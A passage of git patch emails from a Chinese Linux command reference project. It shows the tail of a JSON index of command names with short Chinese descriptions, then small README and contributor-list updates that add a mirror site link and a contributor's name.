pstat","d":"显示CUPS中打印机的状态信息"},"ls":{"n":"ls","p":"/ls","d":"显示目录内容列表"},"lsattr":{"n":"lsattr","p":"/lsattr","d":"查看文件的第二扩展文件系统属性"},"lsb_release":{"n":"lsb_release","p":"/lsb_release","d":"显示发行版本信息"},"lsblk":{"n":"lsblk","p":"/lsblk","d":"列出块设备信息"},"lscpu":{"n":"lscpu","p":"/lscpu","d":"显示有关CPU架构的信息"},"lsmod":{"n":"lsmod","p":"/lsmod","d":"显示已载入系统的模块"},"lsof":{"n":"lsof","p":"/lsof","d":"显示Linux系统当前已打开的所有文件列表 `lsof -p pid`"},"lspci":{"n":"lspci","p":"/lspci","d":"显示当前主机的所有PCI总线信息"},"lsusb":{"n":"lsusb","p":"/lsusb","d":"显示本机的USB设备列表信息"},"ltrace":{"n":"ltrace","p":"/ltrace","d":"用来跟踪进程调用库函数的情况"},"lvcreate":{"n":"lvcreate","p":"/lvcreate","d":"用于创建LVM的逻辑卷"},"lvdisplay":{"n":"lvdisplay","p":"/lvdisplay","d":"显示逻辑卷属性"},"lvextend":{"n":"lvextend","p":"/lvextend","d":"扩展逻辑卷空间"},"lvreduce":{"n":"lvreduce","p":"/lvreduce","d":"收缩逻辑卷空间"},"lvremove":{"n":"lvremove","p":"/lvremove","d":"删除指定LVM逻辑卷"},"lvresize":{"n":"lvresize","p":"/lvresize","d":"调整逻辑卷空间大小"},"lvscan":{"n":"lvscan","p":"/lvscan","d":"扫描逻辑卷"},"lynx":{"n":"lynx","p":"/lynx","d":"纯文本模式的网页浏览器"},"mail":{"n":"mail","p":"/mail","d":"命令行下发送和接收电子邮件"},"mailq":{"n":"mailq","p":"/mailq","d":"显示待发送的邮件队列"},"mailstat":{"n":"mailstat","p":"/mailstat","d":"显示到达的邮件状态"},"make":{"n":"make","p":"/make","d":"GNU的工程化编译工具"},"man":{"n":"man","p":"/man","d":"查看Linux中的指令帮助"},"mapfile":{"n":"mapfile","p":"/mapfile","d":"从标准输入读取行并赋值到数组。"},"md5sum":{"n":"md5sum","p":"/md5sum","d":"计算和校验文件报文摘要的工具程序"},"mesg":{"n":"mesg","p":"/mesg","d":"设置当前终端的写权限"},"mii-tool":{"n":"mii-tool","p":"/mii-tool","d":"配置网络设备协商方式的工具"},"mkbootdisk":{"n":"mkbootdisk","p":"/mkbootdisk","d":"可建立目前系统的启动盘"},"mkcert":{"n":"mkcert","p":"/mkcert","d":"用来生成自签证书的工具"},"mkdir":{"n":"mkdir","p":"/mkdir","d":"用来创建目录"},"mke2fs":{"n":"mke2fs","p":"/mke2fs","d":"创建磁盘分区上的“etc2/etc3”文件系统"},"mkfs":{"n":"mkfs","p":"/mkfs","d":"用于在设备上创建Linux文件系统"},"mkinitrd":{"n":"mkinitrd","p":"/mkinitrd","d":"建立要载入ramdisk的映像文件"},"mkisofs":{"n":"mkisofs","p":"/mkisofs","d":"建立ISO 9660映像文件"},"mknod":{"n":"mknod","p":"/mknod","d":"创建字符设备文件和块设备文件"},"mkswap":{"n":"mkswap","p":"/mkswap","d":"建立和设置SWAP交换分区"},"mktemp":{"n":"mktemp","p":"/mktemp","d":"创建临时文件供shell脚本使用"},"modetest":{"n":"modetest","p":"/modetest","d":"DRM/KMS驱动程序libdrm中的模式测试工具"},"modprobe":{"n":"modprobe","p":"/modprobe","d":"自动处理可载入模块"},"more":{"n":"more","p":"/more","d":"显示文件内容，每次显示一屏"},"mount":{"n":"mount","p":"/mount","d":"用于挂载Linux系统外的文件"},"mpstat":{"n":"mpstat","p":"/mpstat","d":"显示各个可用CPU的状态"},"mtools":{"n":"mtools","p":"/mtools","d":"显示mtools支持的指令"},"mv":{"n":"mv","p":"/mv","d":"用来对文件或目录重新命名"},"mysql":{"n":"mysql","p":"/mysql","d":"MySQL服务器客户端工具"},"mysqladmin":{"n":"mysqladmin","p":"/mysqladmin","d":"MySQL服务器管理客户端"},"mysqldump":{"n":"mysqldump","p":"/mysqldump","d":"MySQL数据库中备份工具"},"mysqlimport":{"n":"mysqlimport","p":"/mysqlimport","d":"为MySQL服务器用命令行方式导入数据"},"mysqlshow":{"n":"mysqlshow","p":"/mysqlshow","d":"显示MySQL中数据库相关信息"},"named-checkzone":{"n":"named-checkzone","p":"/named-checkzone","d":"使用named-checkzone命令可以进行区域文件有效性检查和转换，必须指定区域名称和区域文件名称"},"nano":{"n":"nano","p":"/nano","d":"字符终端文本编辑器"},"nc":{"n":"nc","p":"/nc","d":"nc是网络工具中的瑞士军刀"},"ncftp":{"n":"ncftp","p":"/ncftp","d":"是增强的的FTP工具"},"neofetch":{"n":"neofetch","p":"/neofetch","d":"显示带有发行徽标的系统信息的工具"},"nethogs":{"n":"nethogs","p":"/nethogs","d":"终端下的网络流量监控工具"},"netstat":{"n":"netstat","p":"/netstat","d":"查看Linux中网络系统状态信息"},"newusers":{"n":"newusers","p":"/newusers","d":"用于批处理的方式一次创建多个命令"},"nfsstat":{"n":"nfsstat","p":"/nfsstat","d":"列出NFS客户端和服务器的工作状态"},"ngrep":{"n":"ngrep","p":"/ngrep","d":"方便的数据包匹配和显示工具"},"nice":{"n":"nice","p":"/nice","d":"调整程序执行的优先权等级"},"nisdomainname":{"n":"nisdomainname","p":"/nisdomainname","d":"显示主机NIS的域名"},"nl":{"n":"nl","p":"/nl","d":"为每一个文件添加行号。"},"nm":{"n":"nm","p":"/nm","d":"显示二进制目标文件的符号表"},"nmap":{"n":"nmap","p":"/nmap","d":"网络探测和安全审核"},"nmcli":{"n":"nmcli","p":"/nmcli","d":"地址配置工具"},"nohup":{"n":"nohup","p":"/nohup","d":"将程序以忽略挂起信号的方式运行起来"},"nologin":{"n":"nologin","p":"/nologin","d":"拒绝用户登录系统"},"nproc":{"n":"nproc","p":"/nproc","d":"打印可用的处理器单元数量。"},"nslookup":{"n":"nslookup","p":"/nslookup","d":"查询域名DNS信息的工具"},"ntpdate":{"n":"ntpdate","p":"/ntpdate","d":"使用网络计时协议（NTP）设置日期和时间"},"ntsysv":{"n":"ntsysv","p":"/ntsysv","d":"集中管理系统的各种服务"},"objdump":{"n":"objdump","p":"/objdump","d":"显示二进制文件信息"},"od":{"n":"od","p":"/od","d":"输出文件的八进制、十六进制等格式编码的字节"},"openssl":{"n":"openssl","p":"/openssl","d":"强大的安全套接字层密码库"},"pacman":{"n":"pacman","p":"/pacman","d":"Arch Linux 系统及其衍生系统中默认使用的包管理器"},"parted":{"n":"parted","p":"/parted","d":"磁盘分区和分区大小调整工具"},"partprobe":{"n":"partprobe","p":"/partprobe","d":"不重启的情况下重读分区"},"passwd":{"n":"passwd","p":"/passwd","d":"用于让用户可以更改自己的密码"},"paste":{"n":"paste","p":"/paste","d":"将多个文件按列队列合并"},"patch":{"n":"patch","p":"/patch","d":"为开放源代码软件安装补丁程序"},"pathchk":{"n":"pathchk","p":"/pathchk","d":"检查文件中不可移植的部分"},"perl":{"n":"perl","p":"/perl","d":"perl语言解释器"},"pfctl":{"n":"pfctl","p":"/pfctl","d":"PF防火墙的配置命令"},"pgrep":{"n":"pgrep","p":"/pgrep","d":"根据用户给出的信息在当前运行进程中查找并列出符合条件的进程ID（PID）"},"php":{"n":"php","p":"/php","d":"PHP语言的命令行接口"},"pico":{"n":"pico","p":"/pico","d":"功能强大全屏幕的文本编辑器"},"pidof":{"n":"pidof","p":"/pidof","d":"查找指定名称的进程的进程号ID号"},"pidstat":{"n":"pidstat","p":"/pidstat","d":"监控进程的系统资源占用情况"},"pigz":{"n":"pigz","p":"/pigz","d":"可以用来解压缩文件，gzip的并行实现升级版"},"ping":{"n":"ping","p":"/ping","d":"测试主机之间网络的连通性(ipv4)"},"ping6":{"n":"ping6","p":"/ping6","d":"测试主机之间网络的连通性(ipv6)"},"pkexec":{"n":"pkexec","p":"/pkexec","d":"以其他用户身份执行命令"},"pkill":{"n":"pkill","p":"/pkill","d":"可以按照进程名杀死进程"},"pmap":{"n":"pmap","p":"/pmap","d":"报告进程的内存映射关系"},"popd":{"n":"popd","p":"/popd","d":"从目录堆栈中删除目录。"},"poweroff":{"n":"poweroff","p":"/poweroff","d":"关闭Linux系统，关闭记录会被写入到/var/log/wtmp日志文件中"},"ppp-off":{"n":"ppp-off","p":"/ppp-off","d":"关闭ppp连线"},"pr":{"n":"pr","p":"/pr","d":"将文本文件转换成适合打印的格式"},"printf":{"n":"printf","p":"/printf","d":"格式化并输出结果。"},"protoize":{"n":"protoize","p":"/protoize","d":"GNU-C代码转换为ANSI-C代码"},"prtstat":{"n":"prtstat","p":"/prtstat","d":"显示进程信息"},"ps":{"n":"ps","p":"/ps","d":"报告当前系统的进程状态"},"pssh":{"n":"pssh","p":"/pssh","d":"批量管理执行"},"pstack":{"n":"pstack","p":"/pstack","d":"显示每个进程的栈跟踪"},"pstree":{"n":"pstree","p":"/pstree","d":"以树状图的方式展现进程之间的派生关系"},"pushd":{"n":"pushd","p":"/pushd","d":"将目录添加到目录堆栈顶部。"},"pv":{"n":"pv","p":"/pv","d":"显示当前在命令行执行的命令的进度信息，管道查看器"},"pvchange":{"n":"pvchange","p":"/pvchange","d":"修改物理卷属性"},"pvck":{"n":"pvck","p":"/pvck","d":"检测物理卷的LVM元数据的一致性"},"pvcreate":{"n":"pvcreate","p":"/pvcreate","d":"将物理硬盘分区初始化为物理卷"},"pvdisplay":{"n":"pvdisplay","p":"/pvdisplay","d":"显示物理卷的属性"},"pvremove":{"n":"pvremove","p":"/pvremove","d":"删除一个存在的物理卷"},"pvs":{"n":"pvs","p":"/pvs","d":"输出物理卷信息报表"},"pvscan":{"n":"pvscan","p":"/pvscan","d":"扫描系统中所有硬盘的物理卷列表"},"pwck":{"n":"pwck","p":"/pwck","d":"用来验证系统认证文件内容和格式的完整性"},"pwconv":{"n":"pwconv","p":"/pwconv","d":"用来开启用户的投影密码"},"pwd":{"n":"pwd","p":"/pwd","d":"显示当前工作目录的绝对路径。"},"pwdx":{"n":"pwdx","p":"/pwdx","d":"用于显示指定进程的当前工作目录"},"pwunconv":{"n":"pwunconv","p":"/pwunconv","d":"用来关闭用户的投影密码"},"quota":{"n":"quota","p":"/quota","d":"显示磁盘已使用的空间与限制"},"quotacheck":{"n":"quotacheck","p":"/quotacheck","d":"检查磁盘的使用空间与限制"},"quotaoff":{"n":"quotaoff","p":"/quotaoff","d":"关闭Linux内核中指定文件系统的磁盘配额功能"},"quotaon":{"n":"quotaon","p":"/quotaon","d":"激活Linux内核中指定文件系统的磁盘配额功能"},"rcconf":{"n":"rcconf","p":"/rcconf","d":"Debian Linux下的运行等级服务配置工具"},"rcp":{"n":"rcp","p":"/rcp","d":"使在两台Linux主机之间的文件复制操作更简单"},"read":{"n":"read","p":"/read","d":"从键盘读取变量值"},"readelf":{"n":"readelf","p":"/readelf","d":"用于显示elf格式文件的信息"},"readonly":{"n":"readonly","p":"/readonly","d":"标记shell变量或函数为只读"},"reboot":{"n":"reboot","p":"/reboot","d":"重新启动正在运行的Linux操作系统"},"reject":{"n":"reject","p":"/reject","d":"指示打印系统拒绝发往指定目标打印机的打印任务"},"rename":{"n":"rename","p":"/rename","d":"用字符串替换的方式批量改变文件名"},"renice":{"n":"renice","p":"/renice","d":"修改正在运行的进程的调度优先级"},"reposync":{"n":"reposync","p":"/reposync","d":"同步yum存储库到本地目录"},"repquota":{"n":"repquota","p":"/repquota","d":"报表的格式输出磁盘空间限制的状态"},"resize":{"n":"resize","p":"/resize","d":"命令设置终端机视窗的大小"},"restore":{"n":"restore","p":"/restore","d":"所进行的操作和dump指令相反"},"restorecon":{"n":"restorecon","p":"/restorecon","d":"恢复文件的安全上下文"},"return":{"n":"return","p":"/return","d":"从函数中退出并返回数值。"},"rev":{"n":"rev","p":"/rev","d":"将文件内容以字符为单位反序输出"},"rexec":{"n":"rexec","p":"/rexec","d":"远程执行Linux系统下命令"},"rlogin":{"n":"rlogin","p":"/rlogin","d":"从当前终端登录到远程Linux主机"},"rm":{"n":"rm","p":"/rm","d":"用于删除给定的文件和目录"},"rmdir":{"n":"rmdir","p":"/rmdir","d":"用来删除空目录"},"rmmod":{"n":"rmmod","p":"/rmmod","d":"从运行的内核中移除指定的内核模块"},"route":{"n":"route","p":"/route","d":"显示并设置Linux中静态路由表"},"rpm":{"n":"rpm","p":"/rpm","d":"RPM软件包的管理工具"},"rpm2cpio":{"n":"rpm2cpio","p":"/rpm2cpio","d":"将RPM软件包转换为cpio格式的文件"},"rpmbuild":{"n":"rpmbuild","p":"/rpmbuild","d":"创建RPM的二进制软件包和源码软件包"},"rpmdb":{"n":"rpmdb","p":"/rpmdb","d":"初始化和重建RPM数据库"},"rpmquery":{"n":"rpmquery","p":"/rpmquery","d":"从RPM数据库中查询软件包信息"},"rpmsign":{"n":"rpmsign","p":"/rpmsign","d":"使用RPM软件包的签名管理工具"},"rpmverify":{"n":"rpmverify","p":"/rpmverify","d":"验证已安装的RPM软件包的正确性"},"rsh":{"n":"rsh","p":"/rsh","d":"连接远程主机并执行命令"},"rsync":{"n":"rsync","p":"/rsync","d":"远程数据同步工具"},"runlevel":{"n":"runlevel","p":"/runlevel","d":"打印当前Linux系统的运行等级"},"sar":{"n":"sar","p":"/sar","d":"系统运行状态统计工具"},"scp":{"n":"scp","p":"/scp","d":"加密的方式在本地主机和远程主机之间复制文件"},"screen":{"n":"screen","p":"/screen","d":"用于命令行终端切换"},"script":{"n":"script","p":"/script","d":"记录终端会话的所有操作"},"scriptreplay":{"n":"scriptreplay","p":"/scriptreplay","d":"重新播放终端会话的所有操作"},"sed":{"n":"sed","p":"/sed","d":"功能强大的流式文本编辑器"},"seinfo":{"n":"seinfo","p":"/seinfo","d":"查询SELinux的策略提供多少相关规则"},"semanage":{"n":"semanage","p":"/semanage","d":"默认目录的安全上下文查询与修改"},"sendmail":{"n":"sendmail","p":"/sendmail","d":"著名电子邮件服务器"},"seq":{"n":"seq","p":"/seq","d":"以指定增量从首数开始打印数字到尾数"},"service":{"n":"service","p":"/service","d":"控制系统服务的实用工具"},"sesearch":{"n":"sesearch","p":"/sesearch","d":"查询SELinux策略的规则详情"},"set":{"n":"set","p":"/set","d":"显示或设置shell特性及shell变量"},"setfacl":{"n":"setfacl","p":"/setfacl","d":"设置文件访问控制列表"},"setpci":{"n":"setpci","p":"/setpci","d":"查询和配置PCI设备的使用工具"},"setsebool":{"n":"setsebool","p":"/setsebool","d":"修改SElinux策略内各项规则的布尔值"},"setsid":{"n":"setsid","p":"/setsid","d":"在新的会话中运行程序"},"sftp-server":{"n":"sftp-server","p":"/sftp-server","d":"sftp协议的服务器端程序"},"sftp":{"n":"sftp","p":"/sftp","d":"交互式的文件传输程序"},"sh":{"n":"sh","p":"/sh","d":"shell命令解释器"},"sha256sum":{"n":"sha256sum","p":"/sha256sum","d":"用于计算文件的 SHA-256 哈希值"},"shift":{"n":"shift","p":"/shift","d":"移动位置参数。"},"shopt":{"n":"shopt","p":"/shopt","d":"显示和设置shell操作选项"},"showmount":{"n":"showmount","p":"/showmount","d":"显示NFS服务器加载的信息"},"shuf":{"n":"shuf","p":"/shuf","d":"产生随机的排列。"},"shutdown":{"n":"shutdown","p":"/shutdown","d":"用来执行系统关机的命令"},"skill":{"n":"skill","p":"/skill","d":"向选定的进程发送信号冻结进程"},"slabtop":{"n":"slabtop","p":"/slabtop","d":"实时显示内核slab内存缓存信息"},"sleep":{"n":"sleep","p":"/sleep","d":"将目前动作延迟一段时间"},"slocate":{"n":"slocate","p":"/slocate","d":"命令查找文件或目录"},"smartmontools":{"n":"smartmontools","p":"/smartmontools","d":"Smartmontools 是一种硬盘检测工具，通过控制和管理硬盘的SMART（Self Monitoring Analysis and Reporting Technology，自动检测分析及报告技术）技术来实现的"},"smbclient":{"n":"smbclient","p":"/smbclient","d":"交互方式访问samba服务器"},"smbpasswd":{"n":"smbpasswd","p":"/smbpasswd","d":"samba用户和密码管理工具"},"sort":{"n":"sort","p":"/sort","d":"对文本文件中所有行进行排序。"},"source":{"n":"source","p":"/source","d":"在当前Shell环境中从指定文件读取和执行命令。"},"speedtest-cli":{"n":"speedtest-cli","p":"/speedtest-cli","d":"命令行下测试服务器外网速度"},"spell":{"n":"spell","p":"/spell","d":"对文件进行拼写检查"},"split":{"n":"split","p":"/split","d":"分割任意大小的文件"},"squid":{"n":"squid","p":"/squid","d":"squid服务器守护进程"},"squidclient":{"n":"squidclient","p":"/squidclient","d":"squid服务器的客户端管理工具"},"ss":{"n":"ss","p":"/ss","d":"比 netstat 好用的socket统计信息，iproute2 包附带的另一个工具，允许你查询 socket 的有关统计信息"},"ssh-add":{"n":"ssh-add","p":"/ssh-add","d":"把专用密钥添加到ssh-agent的高速缓存中"},"ssh-agent":{"n":"ssh-agent","p":"/ssh-agent","d":"ssh密钥管理器"},"ssh-copy-id":{"n":"ssh-copy-id","p":"/ssh-copy-id","d":"把本地的ssh公钥文件安装到远程主机对应的账户下"},"ssh-keygen":{"n":"ssh-keygen","p":"/ssh-keygen","d":"为ssh生成、管理和转换认证密钥"},"ssh-keyscan":{"n":"ssh-keyscan","p":"/ssh-keyscan","d":"收集主机公钥的使用工具"},"ssh":{"n":"ssh","p":"/ssh","d":"openssh套件中的客户端连接工具"},"sshd":{"n":"sshd","p":"/sshd","d":"openssh软件套件中的服务器守护进程"},"sshpass":{"n":"sshpass","p":"/sshpass","d":"免交互 SSH 登录工具。"},"startx":{"n":"startx","p":"/startx","d":"用来启动X Window"},"stat":{"n":"stat","p":"/stat","d":"用于显示文件的状态信息"},"strace":{"n":"strace","p":"/strace","d":"跟踪系统调用和信号"},"strings":{"n":"strings","p":"/strings","d":"在对象文件或二进制文件中查找可打印的字符串"},"stty":{"n":"stty","p":"/stty","d":"修改终端命令行的相关设置"},"su":{"n":"su","p":"/su","d":"用于切换当前用户身份到其他用户身份"},"sudo":{"n":"sudo","p":"/sudo","d":"以其他身份来执行命令"},"sum":{"n":"sum","p":"/sum","d":"计算文件的校验码和显示块数"},"supervisord":{"n":"supervisord","p":"/supervisord","d":"配置后台服务/常驻进程的进程管家工具"},"suspend":{"n":"suspend","p":"/suspend","d":"挂起shell的执行。"},"swapoff":{"n":"swapoff","p":"/swapoff","d":"关闭指定的交换空间"},"swapon":{"n":"swapon","p":"/swapon","d":"激活Linux系统中交换空间"},"sync":{"n":"sync","p":"/sync","d":"用于强制被改变的内容立刻写入磁盘"},"sysctl":{"n":"sysctl","p":"/sysctl","d":"时动态地修改内核的运行参数"},"syslog":{"n":"syslog","p":"/syslog","d":"系统默认的日志守护进程"},"systemctl":{"n":"systemctl","p":"/systemctl","d":"系统服务管理器指令"},"systool":{"n":"systool","p":"/systool","d":"显示基于总线、类和拓扑显示系统中设备的信息"},"tac":{"n":"tac","p":"/tac","d":"连接多个文件并以行为单位反向打印到标准输出。"},"tail":{"n":"tail","p":"/tail","d":"在屏幕上显示指定文件的末尾若干行"},"tailf":{"n":"tailf","p":"/tailf","d":"在屏幕上显示指定文件的末尾若干行内容，通常用于日志文件的跟踪输出"},"talk":{"n":"talk","p":"/talk","d":"让用户和其他用户聊天"},"tar":{"n":"tar","p":"/tar","d":"将许多文件一起保存至一个单独的磁带或磁盘归档，并能从归档中单独还原所需文件。"},"tcpdump":{"n":"tcpdump","p":"/tcpdump","d":"一款sniffer工具，是Linux上的抓包工具，嗅探器"},"tcpreplay":{"n":"tcpreplay","p":"/tcpreplay","d":"将保存在 PCAP 文件包重新发送，用于性能或者功能测试"},"tee":{"n":"tee","p":"/tee","d":"从标准输入读取数据并重定向到标准输出和文件。"},"telinit":{"n":"telinit","p":"/telinit","d":"切换当前正在运行系统的运行等级"},"telnet":{"n":"telnet","p":"/telnet","d":"登录远程主机和管理(测试ip端口是否连通)"},"tempfile":{"n":"tempfile","p":"/tempfile","d":"shell中给临时文件命名"},"test":{"n":"test","p":"/test","d":"执行条件表达式。"},"tftp":{"n":"tftp","p":"/tftp","d":"在本机和tftp服务器之间使用TFTP协议传输文件"},"time":{"n":"time","p":"/time","d":"统计给定命令所花费的总时间"},"timedatectl":{"n":"timedatectl","p":"/timedatectl","d":"用于在 Linux 中设置或查询系统时间、日期和时区等配置。"},"times":{"n":"times","p":"/times","d":"显示进程累计时间。"},"tload":{"n":"tload","p":"/tload","d":"显示系统负载状况"},"tmux":{"n":"tmux","p":"/tmux","d":"Tmux是一个优秀的终端复用软件，类似GNU Screen，但来自于OpenBSD，采用BSD授权"},"top":{"n":"top","p":"/top","d":"显示或管理执行中的程序"},"touch":{"n":"touch","p":"/touch","d":"创建新的空文件"},"tput":{"n":"tput","p":"/tput","d":"通过terminfo数据库对终端会话进行初始化和操作"},"tr":{"n":"tr","p":"/tr","d":"将字符进行替换压缩和删除"},"tracepath":{"n":"tracepath","p":"/tracepath","d":"追踪目的主机经过的路由信息"},"traceroute":{"n":"traceroute","p":"/traceroute","d":"显示数据包到主机间的路径"},"trap":{"n":"trap","p":"/trap","d":"捕捉信号和其他事件并执行命令。"},"tree":{"n":"tree","p":"/tree","d":"树状图列出目录的内容"},"true":{"n":"true","p":"/true","d":"返回状态为成功。"},"tty":{"n":"tty","p":"/tty","d":"显示连接到当前标准输入的终端设备文件名"},"type":{"n":"type","p":"/type","d":"显示指定命令的类型。"},"ulimit":{"n":"ulimit","p":"/ulimit","d":"控制shell程序的资源"},"umask":{"n":"umask","p":"/umask","d":"显示或设置创建文件的权限掩码。"},"umount":{"n":"umount","p":"/umount","d":"用于卸载已经加载的文件系统"},"unalias":{"n":"unalias","p":"/unalias","d":"删除由alias设置的别名"},"uname":{"n":"uname","p":"/uname","d":"打印系统信息。"},"unarj":{"n":"unarj","p":"/unarj","d":"解压缩由arj命令创建的压缩包"},"uncompress":{"n":"uncompress","p":"/uncompress","d":"用来解压.Z文件"},"unexpand":{"n":"unexpand","p":"/unexpand","d":"将文件的空白字符转换为制表符"},"uniq":{"n":"uniq","p":"/uniq","d":"显示或忽略重复的行。"},"unlink":{"n":"unlink","p":"/unlink","d":"系统调用函数unlink去删除指定的文件"},"unprotoize":{"n":"unprotoize","p":"/unprotoize","d":"删除C语言源代码文件中的函数原型"},"unrar":{"n":"unrar","p":"/unrar","d":"解压rar文件命令，从 rar 压缩包中提取文件"},"unset":{"n":"unset","p":"/unset","d":"删除指定的shell变量或函数。"},"unzip":{"n":"unzip","p":"/unzip","d":"用于解压缩由zip命令压缩的压缩包"},"updatedb":{"n":"updatedb","p":"/updatedb","d":"创建或更新slocate命令所必需的数据库文件"},"uptime":{"n":"uptime","p":"/uptime","d":"查看Linux系统负载信息"},"useradd":{"n":"useradd","p":"/useradd","d":"创建的新的系统用户"},"userdel":{"n":"userdel","p":"/userdel","d":"用于删除给定的用户以及与用户相关的文件"},"usermod":{"n":"usermod","p":"/usermod","d":"用于修改用户的基本信息"},"usernetctl":{"n":"usernetctl","p":"/usernetctl","d":"被允许时操作指定的网络接口"},"users":{"n":"users","p":"/users","d":"打印当前主机所有登陆用户的名称。"},"uucico":{"n":"uucico","p":"/uucico","d":"UUCP文件传输服务程序"},"uupick":{"n":"uupick","p":"/uupick","d":"命令处理传送进来的文件"},"uuto":{"n":"uuto","p":"/uuto","d":"将文件传送到远端的UUCP主机"},"vdfuse":{"n":"vdfuse","p":"/vdfuse","d":"VirtualBox软件挂载VDI分区文件工具"},"vgchange":{"n":"vgchange","p":"/vgchange","d":"修改卷组属性"},"vgconvert":{"n":"vgconvert","p":"/vgconvert","d":"转换卷组元数据格式"},"vgcreate":{"n":"vgcreate","p":"/vgcreate","d":"用于创建LVM卷组"},"vgdisplay":{"n":"vgdisplay","p":"/vgdisplay","d":"显示LVM卷组的信息"},"vgextend":{"n":"vgextend","p":"/vgextend","d":"向卷组中添加物理卷"},"vgreduce":{"n":"vgreduce","p":"/vgreduce","d":"从卷组中删除物理卷"},"vgremove":{"n":"vgremove","p":"/vgremove","d":"用于用户删除LVM卷组"},"vgrename":{"n":"vgrename","p":"/vgrename","d":"使用vgrename命令可以重命名卷组的名称"},"vgscan":{"n":"vgscan","p":"/vgscan","d":"扫描并显示系统中的卷组"},"vi":{"n":"vi","p":"/vi","d":"功能强大的纯文本编辑器"},"vmstat":{"n":"vmstat","p":"/vmstat","d":"显示虚拟内存状态"},"volname":{"n":"volname","p":"/volname","d":"显示指定的ISO-9660格式的设备的卷名称"},"w":{"n":"w","p":"/w","d":"显示目前登入系统的用户信息"},"wait":{"n":"wait","p":"/wait","d":"等待进程执行完后返回"},"wall":{"n":"wall","p":"/wall","d":"向系统当前所有打开的终端上输出信息"},"watch":{"n":"watch","p":"/watch","d":"可以将命令的输出结果输出到标准输出设备，多用于周期性执行命令/定时执行命令"},"wc":{"n":"wc","p":"/wc","d":"统计文件的字节数、字数、行数"},"wget":{"n":"wget","p":"/wget","d":"Linux系统下载文件工具"},"whatis":{"n":"whatis","p":"/whatis","d":"查询一个命令执行什么功能"},"whereis":{"n":"whereis","p":"/whereis","d":"查找二进制程序、代码等相关文件路径"},"which":{"n":"which","p":"/which","d":"查找并显示给定命令的绝对路径"},"who":{"n":"who","p":"/who","d":"显示当前所有登陆用户的信息。"},"whoami":{"n":"whoami","p":"/whoami","d":"打印当前有效的用户ID对应的名称"},"write":{"n":"write","p":"/write","d":"向指定登录用户终端上发送信息"},"xargs":{"n":"xargs","p":"/xargs","d":"给其他命令传递参数的一个过滤器"},"xauth":{"n":"xauth","p":"/xauth","d":"显示和编辑被用于连接X服务器的认证信息"},"xclip":{"n":"xclip","p":"/xclip","d":"管理 X 粘贴板"},"xhost":{"n":"xhost","p":"/xhost","d":"制哪些X客户端能够在X服务器上显示"},"xinit":{"n":"xinit","p":"/xinit","d":"是Linux下X-Window系统的初始化程序"},"xlsatoms":{"n":"xlsatoms","p":"/xlsatoms","d":"列出X服务器内部所有定义的原子成分"},"xlsclients":{"n":"xlsclients","p":"/xlsclients","d":"列出显示器中的客户端应用程序"},"xlsfonts":{"n":"xlsfonts","p":"/xlsfonts","d":"列出X Server使用的字体"},"xrandr":{"n":"xrandr","p":"/xrandr","d":"X 窗口系统配置管理工具"},"xset":{"n":"xset","p":"/xset","d":"设置X-Window系统中的用户爱好的实用工具"},"xz":{"n":"xz","p":"/xz","d":"POSIX 平台开发具有高压缩率的工具"},"yes":{"n":"yes","p":"/yes","d":"重复打印指定字符串"},"ypdomainname":{"n":"ypdomainname","p":"/ypdomainname","d":"显示主机的NIS的域名"},"yum":{"n":"yum","p":"/yum","d":"基于RPM的软件包管理器"},"zcat":{"n":"zcat","p":"/zcat","d":"显示压缩包中文件的内容"},"zfore":{"n":"zfore","p":"/zfore","d":"强制为gzip格式的压缩文件添加.gz后缀"},"zip":{"n":"zip","p":"/zip","d":"可以用来解压缩文件"},"zipinfo":{"n":"zipinfo","p":"/zipinfo","d":"用来列出压缩文件信息"},"zipsplit":{"n":"zipsplit","p":"/zipsplit","d":"将较大的zip压缩包分割成各个较小的压缩包"},"znew":{"n":"znew","p":"/znew","d":"将.Z压缩包重新转化为gzip命令压缩的.gz压缩包"}} \ No newline at end of file From 66fb61d0866bbbf66c99187026a9edde0b6d56b3 Mon Sep 17 00:00:00 2001 From: Shan Chenyu <103872353+ischenyu@users.noreply.github.com> Date: Sun, 24 Dec 2023 09:03:53 +0800 Subject: [PATCH 0796/1019] doc: Update README.md (#548) * Update README.md * Update README.md * Update README.md --- README.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/README.md b/README.md index 5e89544b3e4..63f2c60c3f1 100644 --- a/README.md +++ b/README.md @@ -37,7 +37,7 @@ **推荐使用的镜像 web 版本** -[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/) +[**`linux.devonline.net`**](http://linux.devonline.net/)，[**`man.zch.ooo`**](https://man.zch.ooo/)，[**`linux.mmoke.com`**](https://linux.mmoke.com)，[**`bqrdh.com`**](https://tools.bqrdh.com/linux-command/)，[**`linux.zyimm.com`**](http://linux.zyimm.com/)，[**`linux.vovuo.com`**](https://linux.vovuo.com/)，[`linux.liguiying.cn`](https://linux.liguiying.cn/), [`renye.net`](https://renye.net/), [`diqi.org`](https://diqi.org/),[`linux.alistnas.xyz`](https://linux.alistnas.xyz/`) **其它 web 版本** From f424577e14a0380664bc9b5acb1ee6fd56715543 Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 24 Dec 2023 01:04:24 +0000 Subject: [PATCH 0797/1019] doc: update README.md. --- README.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/README.md b/README.md index 63f2c60c3f1..5ce689ad9ec 100644 --- a/README.md +++ b/README.md @@ -570,6 +570,9 @@ https://raw.githubusercontent.com/jaywcjlove/linux-command/master/command/<命 SevenSteven + + Shan Chenyu + Azolla From cd64857d0e9d3eecf80fdd365229f508101e6bfa Mon Sep 17 00:00:00 2001 From: "github-actions[bot]" Date: Sun, 24 Dec 2023 01:04:25 +0000 Subject: [PATCH 0798/1019] doc: update template/contributors.ejs. --- template/contributors.ejs | 3 +++ 1 file changed, 3 insertions(+) diff --git a/template/contributors.ejs b/template/contributors.ejs index 03531776b2c..cb025b2457d 100644 --- a/template/contributors.ejs +++ b/template/contributors.ejs @@ -207,6 +207,9 @@ SevenSteven + + Shan Chenyu + Azolla From f0d955b9db972c491bd659d2d3ec4a0c019bde89 Mon Sep 17 00:00:00 2001 From: 